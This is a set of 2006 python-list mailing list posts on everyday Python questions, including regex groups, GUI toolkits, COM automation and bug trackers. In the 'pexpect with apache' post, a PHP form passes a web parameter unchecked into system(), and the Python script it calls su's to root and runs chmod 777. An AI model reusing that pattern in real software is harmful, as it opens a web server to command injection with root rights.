> 
>>But this will definitely not happen over a short period of time and
>>even in the worst case scenario there will be a few years in which the
>>development can take place in an awesome environment. I've looked at
>>the JIRA demo, and wow, it really seems like an amazingly cool way to
>>do software development.
> 
> 
> Well, what's so cool about it?  Most large free software projects seem
> to use Bugzilla.  I'd never looked at the Bugzilla code but from
> descriptions here it now sounds like the situation with CVS as of a
> few years ago.  Maybe it's time for a rewrite/replacement, a la
> darcs/SVN/whatever.

Please feel free to go right ahead. Should be ready n a month or twelve ...

Like others I have my doubts about using commercial products to support 
open source development but the guys who did the evaluation have chosen, 
and I'm not about to second guess them.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From steve at holdenweb.com  Sat Oct  7 05:48:04 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 07 Oct 2006 10:48:04 +0100
Subject: problem with split
In-Reply-To: <1160203574.984791.222500@c28g2000cwb.googlegroups.com>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>	<03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>	<mailman.9.1160200561.11739.python-list@python.org>	<1160201348.602509.9900@m73g2000cwd.googlegroups.com>	<mailman.11.1160202030.11739.python-list@python.org>
	<1160203574.984791.222500@c28g2000cwb.googlegroups.com>
Message-ID: <eg7t2u$jls$1@sea.gmane.org>

Eric_Dexter at msn.com wrote:
> I think I am very close the return line is tripping me up.  (this is
> the first list that I have tried to program in python)
> 
> return (s.group[1], s.group[2])
> 
> Traceback (most recent call last):
>   File "C:\Python24\Lib\site-packages\boa-constructor\test of
> snake\test_of_csoundroutines_list.py", line 5, in ?
>     v = csoundroutines.csdInstrumentList('bay-at-night.csd')
>   File "C:\Python24\Lib\site-packages\boa-constructor\test of
> snake\csoundroutines.py", line 43, in csdInstrumentList
>     return (s.group[1], s.group[2])
> TypeError: unsubscriptable object
> 

.group() is a *method of the patch object not a data attribute, so you 
have to *call* it, not treat it like a list or dict. Try something like

return (s.group(1), s.group(2))

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From half.italian at gmail.com  Tue Oct 17 23:15:36 2006
From: half.italian at gmail.com (half.italian at gmail.com)
Date: 17 Oct 2006 20:15:36 -0700
Subject: pexpect with apache
Message-ID: <1161141336.176386.19650@m73g2000cwd.googlegroups.com>

Hi all.  I try not to post until I am stuck in hole with no way out.  I
fought with this for several hours, and am currently in the hole.

I'm doing a proof of concept for creating afp shares dynamically
through a web interface from a client machine.  I use a bit of php to
setup a simple form, and then have the php execute my python script on
the server.  The python script tries to 'su' to root to create the
share, create dirs, set perms, etc

The python script alone works fine as 'www'.  I can become 'www',  run
it from the command line and the share is made.  But when I try to have
the web server execute it, I continually get a password failure.  I'm
positive the password is correct.

Any ideas?

~Sean D

~~~~~~~~~~~test.py
#! /usr/bin/env python

import commands, os, P, pexpect

sharename = sys.argv[1]

root = "/Users/Shared"
sharepath = os.path.join(root, sharename)
password = P.P()

COMMAND_PROMPT = '[$%#]'
child = pexpect.spawn('su')
i = child.expect([pexpect.TIMEOUT, '[Pp]assword:'], timeout=1)
child.sendline(password.Decrypt(password.sean))

i = child.expect (['su: Sorry', COMMAND_PROMPT])

if i == 0:
	print 'Password not accepted'
	sys.exit(1)
else:
	print "Making dir: %s" % sharepath
	child.sendline("mkdir %s" % sharepath)
	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
	print "Setting group to 'audio'"
	child.sendline("chgrp audio %s" % sharepath)
	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
	print "setting owner to 'audio01'"
	child.sendline("chown audio01 %s" % sharepath)
	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
	print "Opening permissions"
	child.sendline("chmod 777 %s" % sharepath)
	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
	print "sharing -a %s -s 100" % sharepath
	child.sendline("sharing -a %s -s 100" % sharepath)
	i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1)
	sys.exit(0)

~~~~~~~~~~~test.php
<html>
<body>
<?php

if (isset($_GET['sharename'])) {
	$last_line = system("/Users/Shared/test.py {$_GET['sharename']}",
$retval);
	if ($retval == 0) {
		echo "<br><h2>Mount afp://xxx.xxx.xxx.xxx/{$_GET['sharename']}</h2>";
	} else {
		echo "<br><h2>Failed creating share!</h2>";
	}
} else {

	echo "<form action='test.php'>";
	echo "<table>";
	echo "<td>Name of share:</td><td><input type='text'
name='sharename'></td>";
	echo "</table></form>";
}

?>
</body>
</html>



From toreriks at hotmail.com  Thu Oct  5 11:05:42 2006
From: toreriks at hotmail.com (Tor Erik Soenvisen)
Date: Thu, 5 Oct 2006 15:05:42 +0000 (UTC)
Subject: Oracle database export
Message-ID: <Xns9853ADE6AEDFBtoreriknpolarno@129.242.5.222>

Hi,

I need to export an Oracle database to a DDL-formated file. On the Web, I 
found a Python script that did exactly this for a MS Access database, but
not one for Oracle databases.

Does anyone know of such a tool or Python script.

regards tores


From dustin at v.igoro.us  Thu Oct 19 12:30:04 2006
From: dustin at v.igoro.us (Dustin J. Mitchell)
Date: Thu, 19 Oct 2006 11:30:04 -0500
Subject: Calling functions
In-Reply-To: <B9D4452D-8C7C-49FC-9184-D210AA9316C8@mac.com>
References: <B9D4452D-8C7C-49FC-9184-D210AA9316C8@mac.com>
Message-ID: <4537A80C.2060203@v.igoro.us>

Tommy Grav wrote:
> I have a small program that goes something like this
> 
> def funcA() : pass
> def funcB() : pass
> def funcC() : pass
> 
> def determine(f):
> t = f()
> return t
> 
> What I would like to do is be able to 
> 
> n = determine(funcA)
> m = determine(funcB)
> 
> But I can't really figure out how to do this (I think it is 
> possible :)

Except for the spaces after the def's at the top (are those legal?), it should
work as written.

determine(funcA) results in 'f' being bound to 'funcA'; then 't = f()' results
in 'funcA' being called, and its resulting being bound to 't'; 'determine'
returns that result, and it's bound to 'n'.  Is that not what you wanted?

Dustin


From ian at excess.org  Tue Oct  3 21:34:02 2006
From: ian at excess.org (Ian Ward)
Date: Tue, 03 Oct 2006 21:34:02 -0400
Subject: ANN: Urwid 0.9.7.1 - Console UI Library
Message-ID: <45230F8A.3010302@excess.org>

Announcing Urwid 0.9.7.1
------------------------

Urwid home page:
   http://excess.org/urwid/

Tarball:
   http://excess.org/urwid/urwid-0.9.7.1.tar.gz


About this release:
===================

This release fixes bugs introduced in the Padding and Overlay classes in 
the previous release.  These bugs prevent the graph.py example program 
from running.


New in this release:
====================

   * Fixed bugs in Padding and Overlay widgets introduced in 0.9.7.


About Urwid
===========

Urwid is a console UI library for Python. It features fluid interface
resizing, UTF-8 support, multiple text layouts, simple attribute markup,
powerful scrolling list boxes and flexible interface design.

Urwid is released under the GNU LGPL.











From pydecker at gmail.com  Tue Oct 24 14:58:59 2006
From: pydecker at gmail.com (Peter Decker)
Date: Tue, 24 Oct 2006 14:58:59 -0400
Subject: python GUIs comparison (want)
In-Reply-To: <453E3370.9060008@kevin-walzer.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
Message-ID: <ca55a9900610241158r235446b9q4023a2cbd5eda6cf@mail.gmail.com>

On 10/24/06, Kevin Walzer <kw at kevin-walzer.com> wrote:

> wxPython:
> Pro: Popular, actively developed, wraps native widgets, looks great on
> Windows, commercial-friendly license
> Con: Based on C++ toolkit; docs assume knowledge of C++; some think
> coding style is too much like C++; complex to build and deploy on Linux
>  (wraps Gtk)

I agree with this assessment. I hated writing the code in wxPython,
since it was very ugly, with tons of getters/setters lots of constants
and ids WRITTEN_IN_ALL_CAPS. Yuck.

That's why I think you and others are doing a grave disservice by
ignoring Dabo. With Dabo, you get the best-looking toolkit across
platforms (wxPython), but a clean, Pythonic API with none of the C++
crud. I've been a dozen times more productive since I switched to
doing my UI code in dabo.ui, and even better, I don't have to
constantly look up the names of the appropriate constants, etc. - the
API is that much more consistent.

-- 

# p.d.


From roman.yakovenko at gmail.com  Tue Oct 10 17:44:43 2006
From: roman.yakovenko at gmail.com (Roman Yakovenko)
Date: Tue, 10 Oct 2006 23:44:43 +0200
Subject: C++ to Python?
In-Reply-To: <1B0B405F-56A9-4A41-B5C8-DA6E04248B1E@comcast.net>
References: <6110AB6F-D20C-4F12-9347-B7FB64930329@comcast.net>
	<7465b6170610101255i4569613nfb41424225d60446@mail.gmail.com>
	<1B0B405F-56A9-4A41-B5C8-DA6E04248B1E@comcast.net>
Message-ID: <7465b6170610101444r6c8795a4k4d4debf0123fa2fd@mail.gmail.com>

On 10/10/06, Frank Martinez <martinezfive at comcast.net> wrote:
> Hi, Roman.
>  Thanks.  I seem a bit confused.  Does Py++ actually convert the C++ code to
> Python or does it just provide a wrapper to C++ code?

A second one. Now when I read your mail one more time, I think I was
wrong, because
you want to find some kind of "translator"

C++ code:
   std::cout << 1;
translator output:
   print 1

Am I right? If so, I am pretty sure that such "translator" does not
exist - too complex.
I think you can try another approach: to create Python bindings to your C++ code
and than incrementaly to drop it( C++ ). This way you will not
introduce too many
bugs and you will be able to move forward.

-- 
Roman Yakovenko
C++ Python language binding
http://www.language-binding.net/


From XX.XmcX at XX.XmclaveauX.com  Thu Oct 12 02:59:05 2006
From: XX.XmcX at XX.XmclaveauX.com (MC)
Date: Thu, 12 Oct 2006 08:59:05 +0200
Subject: News on versions modules for Python-2.5?
References: <45269df8$0$25949$ba4acef3@news.orange.fr>
	<1160465315.639829.51780@c28g2000cwb.googlegroups.com>
Message-ID: <mn.621b7d6a60a6157b.46195@XX.XmclaveauX.com>

Hi!

Ok.
Downloaded.
Thanks

-- 
@-salutations

Michel Claveau




From jakobsg at gmail.com  Mon Oct  2 18:35:40 2006
From: jakobsg at gmail.com (jakobsg at gmail.com)
Date: 2 Oct 2006 15:35:40 -0700
Subject: Determin network interface
Message-ID: <1159828540.208599.187310@m73g2000cwd.googlegroups.com>

Hi. How can I determin the hwaddr or ipaddress of the networkinterface
that is used in an outgoing connection? I need a kind of traceroute in
python or lowlevel socket function that can help me find out which one
of my hosts networkinterfaces that is actually used or going to be used
to reach a certain remote host. Can I do this?



From fredrik at pythonware.com  Thu Oct 19 02:08:40 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 08:08:40 +0200
Subject: Getting method name from within the class method
In-Reply-To: <20061018135955.70db4999@opal.pathscale.com>
References: <20061018135955.70db4999@opal.pathscale.com>
Message-ID: <eh74pc$o3t$1@sea.gmane.org>

Mitko Haralanov wrote:

> I need to be able to get the name of the currently executed method
> within that method. I know that the method object does have the
> __name__ attribute but I know know how to access it from withing the
> method.
> 
> Something like this:
> 
> class A:
> ....
>     def a_method (self, this, that):
>          print <__name__>

	print "a_method"

</F>



From steve at holdenweb.com  Thu Oct  5 02:22:07 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 07:22:07 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg18m3$833$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net><tCJUg.134232$zy5.1829450@twister1.libero.it>	<eg0899$9g5$1@sea.gmane.org>	<eg09i9$eod$1@sea.gmane.org>	<eg0cu8$qtt$1@sea.gmane.org>
	<eg18m3$833$1@sea.gmane.org>
Message-ID: <eg288r$ff6$4@sea.gmane.org>

Fredrik Lundh wrote:
> Steve Holden wrote:
> 
> 
>>>you're not on the infrastructure list, I hear.  python.org could still need a
>>>few more roundup volunteers, but it's not like nobody's prepared to con-
>>>tribute manhours.  don't underestimate the community.
>>>
>>
>>No, I'm not on the infrastructure list, but I know that capable people 
>>*are*: and you know I am quite capable of donating my time to the cause, 
>>when I have it to spare (and sometimes even when I don't).
> 
> 
> what I was trying to say (between the lines) was that not only have
> the people on that list worked hard to do the evaluation (not to mention 
> all the developers around the world that has worked even harder to set 
> up test trackers), there's also been a good community response to the 
> committee's call for "6-10 volunteers".
> 
Excellent. I've just complained elsewhere in this thread that those 
dissenting didn't appear to want to rectify the situation by offering 
their time. It would be nice to be wrong about that.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From http  Mon Oct 23 11:15:32 2006
From: http (Paul Rubin)
Date: 23 Oct 2006 08:15:32 -0700
Subject: implementation of "in" that returns the object.
References: <mailman.939.1161527588.11739.python-list@python.org>
Message-ID: <7xbqo36p2j.fsf@ruckus.brouhaha.com>

"Jorge Vargas" <jorge.vargas at gmail.com> writes:
> I need to check if an object is in a list AND keep a reference to the
> object I have done it this way but is there a better one?
> 
> >>> def inplusplus(value,listObj):
> ...     for i in listObj:
> ...             if i is value:
> ...                     return value
> ...     return False

That's bug-prone.  Suppose the object's value is false (i.e.  it's the
empty string, or None, or the boolean False, or whatever)?  You're
best off raising an exception if the value is not found.  You could
also do something like that using the list.index method.



From g.brandl-nospam at gmx.net  Sat Oct 28 06:27:13 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sat, 28 Oct 2006 12:27:13 +0200
Subject: question about True values
In-Reply-To: <ehu42d$jff$1@chiara.aioe.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org>
Message-ID: <ehvba3$vr7$1@news.albasani.net>

J. Clifford Dyer wrote:

>  >>> (1 > 0) < 1
> False
>  >>> 1 > 0 < 1
> True
>  >>> 1 > (0 < 1)
> False
>  >>> 10 > (0 < 1)
> True

I hope you know why this works the way it does.

Georg


From steve at holdenweb.com  Tue Oct 10 07:33:29 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 12:33:29 +0100
Subject: Python component model
In-Reply-To: <4p1dobFgqul0U1@uni-berlin.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<7xlknotwuy.fsf@ruckus.brouhaha.com>	<4p14h4Fgk9jaU1@uni-berlin.de>	<mailman.196.1160474180.11739.python-list@python.org>
	<4p1dobFgqul0U1@uni-berlin.de>
Message-ID: <egg0ci$q08$1@sea.gmane.org>

Diez B. Roggisch wrote:
[...]
>>Just the same, one can use IronPython to call components written in
>>other languages. And, I believe, vice versa.
> 
> 
> Sure, as I can do it in jython. But the key point is: can your ordinary
> python-object be published as a component? At least for jython I can
> say "no", you will have to subclass an already existing
> java-object/interface. And I have difficulties imagining that it is any
> different in .NET - because I've read statements that claimed that the
> structure of the VM/runtime is orientied towards single-inheritance
> statically typed languages as C#/java.
> 
The answer to this question is currently beyond me. Maybe someone who 
knows more about IronPython can elucidate. I do know (as you probably do 
also) that Python generates code for the .NET CLR, however.

I don't think there's any *theoretical* reason why IronPython components 
can't be called from other languages, but as to the practicalities 
(specifically whether IronPython produces linkable assemblies) we'll 
have to wait for someone who knows.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From __peter__ at web.de  Thu Oct  5 06:11:06 2006
From: __peter__ at web.de (Peter Otten)
Date: Thu, 05 Oct 2006 12:11:06 +0200
Subject: dictionary of list from a file
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
	<mailman.1262.1159968035.10491.python-list@python.org>
	<1159992675.176015.248850@c28g2000cwb.googlegroups.com>
	<mailman.1308.1160013552.10491.python-list@python.org>
	<1160042610.560396.103440@k70g2000cwa.googlegroups.com>
Message-ID: <eg2lkc$ipu$02$2@news.t-online.com>

sjdevnull at yahoo.com wrote:

> for line in (l.rstrip("\n") for l in file("test.txt", "rU") if l[0] !=
> "\n"):
> ???k,?v?=?line.split()
> ???d.setdefault(k,?[]).append(v)

Note that this snippet will produce the same output with or without the
rstrip() method call.

Peter


From hg at nospam.com  Mon Oct  9 13:06:07 2006
From: hg at nospam.com (hg)
Date: Mon, 09 Oct 2006 12:06:07 -0500
Subject: Tkinter & systray
In-Reply-To: <1160398570.908401.206960@m73g2000cwd.googlegroups.com>
References: <1160398570.908401.206960@m73g2000cwd.googlegroups.com>
Message-ID: <8svWg.8880$Go3.2399@dukeread05>

billie wrote:
> Hi all. I'd like to develop a GUI-based application the most portable
> as possible, able to run in systray.
> I think that, for portability reasons, Tkinter could be the best
> choice, so I tried to google a little bit about it.
> According to this :
> http://mail.python.org/pipermail/python-list/2002-September/123257.html
> ...it seems that it's impossible (or better, it WAS impossible in
> September 2002) handling this case by using Tkinter.
> Four years later is there a way to make this happen?
> 
> Thanks in advance.
> 
I know wxPython does that and I assume PyQT also does.

I do not think Tkinter is more portable than the above two anymore ...
just easier to install since built-in.

hg



From kw at kevin-walzer.com  Tue Oct 24 11:38:24 2006
From: kw at kevin-walzer.com (Kevin Walzer)
Date: Tue, 24 Oct 2006 11:38:24 -0400
Subject: python GUIs comparison (want)
In-Reply-To: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
Message-ID: <453E3370.9060008@kevin-walzer.com>

jiang.haiyun at gmail.com wrote:
> Now i began to learn GUI programming. There are so many
> choices of GUI in the python world, wxPython, pyGTK, PyQT,
> Tkinter, .etc, it's difficult for a novice to decide, however.
> Can you draw a comparison among them on easy coding, pythonish design,
> beautiful and generous looking, powerful development toolkit, and
> sufficient documentation, .etc.
> It's helpful for a GUI beginner.
> Thank you.
> 
> 
> :)Sorry for my poor english.
> 

Tkinter:
Pro: Default GUI library for Python; stable; well-supported
Con: Needs extension for complex/rich GUI's; core widgets are dated in
look and feel; many modern extensions in Tcl/Tk have not made it into
Tkinter or are not widely used (Tile, Tablelist)

wxPython:
Pro: Popular, actively developed, wraps native widgets, looks great on
Windows, commercial-friendly license
Con: Based on C++ toolkit; docs assume knowledge of C++; some think
coding style is too much like C++; complex to build and deploy on Linux
 (wraps Gtk)

PyQt:
Pro: Powerful, cross-platform, sophisticated GUI's
Con: Based on C++ toolkit; docs assume knowledge of C++; commercial
deployment is expensive; free deployment must be GPL; smaller
development and user community than wxPython

PyGtk:
Pro: Sophisticated GUI's, cross-platform (Linux and Win32); very popular
on some platforms; active development community
Con: Not native on OS X





-- 
Kevin Walzer
Code by Kevin
http://www.codebykevin.com


From fulvio at tm.net.my  Wed Oct 25 04:08:56 2006
From: fulvio at tm.net.my (Fulvio)
Date: Wed, 25 Oct 2006 16:08:56 +0800
Subject: Handling emails
In-Reply-To: <1161630451.506987.207820@h48g2000cwc.googlegroups.com>
References: <mailman.967.1161596728.11739.python-list@python.org>
	<1161630451.506987.207820@h48g2000cwc.googlegroups.com>
Message-ID: <200610251608.56270.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Tuesday 24 October 2006 03:07, Gerard Flanagan wrote:
> The 'PopClient' class here might help you:

I got a look rather later. Let me say that is impressively pythonic :-)
On the other hand I've to go deep on learning the use of Python classes, as 
much as the POPClient likes a different config file and will upset a big 
chunk of my code.
Functions are good, I'll study the emails handling, only I need some time to 
prepair a method to discern local and remote emails and a way to save/recover 
the most important ones.

F



From mensanator at aol.com  Wed Oct 11 01:34:39 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 10 Oct 2006 22:34:39 -0700
Subject: OT: Sarcasm and irony
In-Reply-To: <12iosfh75stcf0e@corp.supernews.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
Message-ID: <1160544879.915425.250200@m7g2000cwm.googlegroups.com>


Grant Edwards wrote:
> On 2006-10-10, Steve Holden <steve at holdenweb.com> wrote:
>
> >> probably point out that I am writing from Denmark and was thinking
> >> specifically of a situation where a dane told me they were being
> >> 'ironic' (when what they meant, obviously, was that they were being
> >> ironical), when I asked what they meant by that they said "saying the
> >> opposite of what I mean" I responded: "so, in other words, what you
> >> mean by irony is 'sarcasm'" She responded "yes, that's what it means"
>
> And she was pretty much right.  Sarcasm is by far the most
> common form of irony.
>
> > Well, my assertion about America clearly doesn't preclude to
> > possibility of confusion on the part of the Danish too :-).
> > You are right about the general degradation of the
> > (understanding of the) meaning of irony.  People are just too
> > damned sloppy with language nowadays.
>
> Sarcasm is a form of irony.  Irony is when what is meant is
> different from the obvious literal meaning of the statement.
>
> >> She had a degree in communications.
>
> Which may explain why she knew what irony was when so few
> people seem to.
>
> Like Alanis Morisette said about the song "Isn't it Ironic":
> What's ironic about the song is that it doesn't actually
> contain any irony.

Any? Don't people plan June weddings thinking the weather
will be nice? And isn't one of the defintions of irony when
things turn out the opposite of what you expect?

>
> --
> Grant Edwards                   grante             Yow!  While I'm in
>                                   at               LEVITTOWN I thought I'd
>                                visi.com            like to see the NUCLEAR
>                                                    FAMILY!!



From goonmail at netspace.net.au  Mon Oct  9 17:39:03 2006
From: goonmail at netspace.net.au (goon)
Date: 9 Oct 2006 14:39:03 -0700
Subject: Python component model
In-Reply-To: <HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
Message-ID: <1160429943.671916.43720@m73g2000cwd.googlegroups.com>

>  or IBM's Eclipse for Java

Or Eclipse for Python using PyDev? [0]


Reference
[0] PyDev, 'Fabio Zadrozny, Aleks Totic, plugin allowing Python/Jython
to use Eclipse as an IDE'
<http://pydev.sourceforge.net/>
[Accessed Tuesday, 10 October 2006]



From theller at ctypes.org  Fri Oct 20 15:53:01 2006
From: theller at ctypes.org (Thomas Heller)
Date: Fri, 20 Oct 2006 21:53:01 +0200
Subject: Using Python scripts in Windows Explorer
In-Reply-To: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
Message-ID: <4539291D.2060200@ctypes.org>

Ben Sizer schrieb:
> I'd like to be able to drag a file onto a Python script in Windows
> Explorer, or send that file to the script via the Send To context-menu
> option, so I can then process that file via sys.argc.
> 
> Unfortunately, I can't drag items onto the Python script, because
> Windows doesn't recognise that the script is executable (unless I
> double-click it, upon which it runs as usual, without the command line
> parameter of course) and won't set it as a drop target. And it won't
> even appear in the Send To menu after the usual steps are taken to get
> it there.
> 
> I then tried to wrap it in a batch file, but encounter a problem, where
> that batch file is able to execute the Python file if I double-click
> the batch file, but if I drag a file onto it it says it can no longer
> find the Python script.
> 
> Are there any simple and workable solutions for this sort of thing?
> 
I think you can create a shortcut to the Python script, and then drag files on it.

Thomas



From tejovathi.p at gmail.com  Tue Oct 17 03:40:31 2006
From: tejovathi.p at gmail.com (Teja)
Date: 17 Oct 2006 00:40:31 -0700
Subject: COM Error -- Urgent help
In-Reply-To: <45347682$0$25906$ba4acef3@news.orange.fr>
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>
	<45347682$0$25906$ba4acef3@news.orange.fr>
Message-ID: <1161070831.102884.37930@e3g2000cwe.googlegroups.com>

M?ta-MCI wrote:
> Hi!
>
>
> .func(  is not defined...
>
>
> @-salutations
> --
> Michel Claveau

I am sorry. By func(dest) I meant MyNavigate(dest). Can u please help
me out...

Thnks, 
Teja.P



From kogrover at gmail.com  Thu Oct 19 11:57:06 2006
From: kogrover at gmail.com (kogrover at gmail.com)
Date: 19 Oct 2006 08:57:06 -0700
Subject: pywin32 COM sort in Excel (late binding fails,
	early binding works) (+py2exe)
Message-ID: <1161273426.239477.260660@h48g2000cwc.googlegroups.com>

ISSUE: COM Excel Sort works with Early Binding, but not Late Binding,
but py2exe only does Late Binding

I have code similar to this (type from notes, so there may be a
typo...)

import win32com.client
xl = win32com.client.Dispatch("Excel.Application")
xl.Visible = False
xl.ScreenUpdating = False
wb = xl.Workbooks.Open("h:\\p.xls")
sht = wb.Sheets("SheetName")     # wb.Worksheets("Sheetname")
sht.Cells.Sort(Key1=sht.Cells(2,1), Order1=1, Header=1, Orientation=1)

Python: 2.4.3
pywin32 200
py2exe 0.6.5
Office 2000

The sort DOES NOT work if called from a normal install (e.g. using late
binding):  the Header line gets sorted with all the data.

ID   Value   Mort
232   2         54
54     33       232
--->
54     33       232
232   2         54
ID   Value   Mort


HOWEVER, If I run

makepy.py and select the "Microsoft Excel 9.0" (--> I'm typing this
from memory!)
and run it, it creates the GUID'd py file in gen_py

If I run the above code again (on a clean copy of the xls file), it
DOES sort the sheet correctly --- the header line is left alone.

ID   Value   Mort
232   2         54
54     33       232
--->
ID   Value   Mort
54     33       232
232   2         54

Normally, this would not be an issue, but when I bundle my app using
py2exe it does not grab the gen_py stuff.

Any help appreciated...



From fidel.andrade at gmail.com  Fri Oct 20 20:00:07 2006
From: fidel.andrade at gmail.com (Fidel)
Date: Fri, 20 Oct 2006 18:00:07 -0600
Subject: I like python.
In-Reply-To: <1161379703.121362.135490@m7g2000cwm.googlegroups.com>
References: <mailman.824.1161333065.11739.python-list@python.org>
	<mn.a5177d6a3d962dfa.46195@XX.XmclaveauX.com>
	<mailman.871.1161375940.11739.python-list@python.org>
	<1161379703.121362.135490@m7g2000cwm.googlegroups.com>
Message-ID: <254cf6720610201700y4a92a8f0ja0be7066c93efea6@mail.gmail.com>

Although I just noticed that if the extension is .py then it will
still open a command window. It does indeed need to have a .pyw
extension for this to work. So all of you were correct. it needs to
use popen and have .pyw as the extension in order for python not to
open a command window. Thank you all for you help and support.

On 20 Oct 2006 14:28:23 -0700, Ant <antroy at gmail.com> wrote:
>
> Fidel wrote:
> > Renaming the file doesn't work. I am on windows... There is a specific
> > line of code that tells python not to bother even opening a window.
>
> Seriously, renaming the script to .pyw should work from a standard
> python install. If it doesn't then the file handler for that extension
> must have got messed up somewhere along the way. You can fix this by
> right-clicking the renamed (*.pyw) file and selecting "open with..." ->
> "Choose Program" and finding the pythonw.exe.
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


-- 
Fidel


From brenocon at gmail.com  Sat Oct 14 01:00:56 2006
From: brenocon at gmail.com (brenocon at gmail.com)
Date: 13 Oct 2006 22:00:56 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
Message-ID: <1160802056.744732.323540@e3g2000cwe.googlegroups.com>

[repost -- fixed formatting]
Hi all --

Compared to the Python I know and love, Ruby isn't quite the same.
However, it has at least one terrific feature: "blocks".  Whereas in
Python a "block" is just several lines of locally-scoped-together code,
in Ruby a "block" defines a closure (anonymous function).  To avoid
confusion let's call them Ruby block-closures.  I see them as just a
syntax for defining closures and passing them into method calls.  I
think something analogous could be added to Python in a very simple
manner that would make closures much more readable and usable, and nail
some use cases nicely.

To define a new closure and pass it into a function call, there are two
current methods: inline 'def' and 'lambda'.  Consider the following
Twisted-ish code:

    deferred = fetchPage('http://python.org')
    def _showResponse(response)
        print "fancy formatting: %s" % response.text
    deferred.addCallback(_showResponse)

Lots of Twisted code has to be written backwards like this.
Theoretically, it might be nice to use lambda right in the
addCallback() call, like:

    deferred.addCallback(lambda r:  print("fancy formatting %s"
%r.text) )

But this is awkward since the lambda is constrained to be one line; you
can't come back later and add much to the callback's code.
Furthermore, this example isn't even legal, because 'print' isn't a
function, but a statement -- lambda is further constrained to only
contain an expression.

Many have complained about this crippled-ness of lambda, but it
actually makes some sense.  Since Python uses colons and indentation to
define blocks of code, it would be awkward to close a multiline lambda.
 The best I could think of would look like

    deferred.addCallback(lambda r:
        print("fancy formatting %s" % r.text)
    )

    ^
    |

That trailing paranthesis is WAY un-Pythonic.  We don't close code
blocks like that!  And in general, declaring big multiline anonymous
functions in the middle of a list of normal variable arguments is weird
-- it just doesn't fit. It's perfectly legal to pass in 4 closures,
interspersed with number and string arguments.  Imagine defining all of
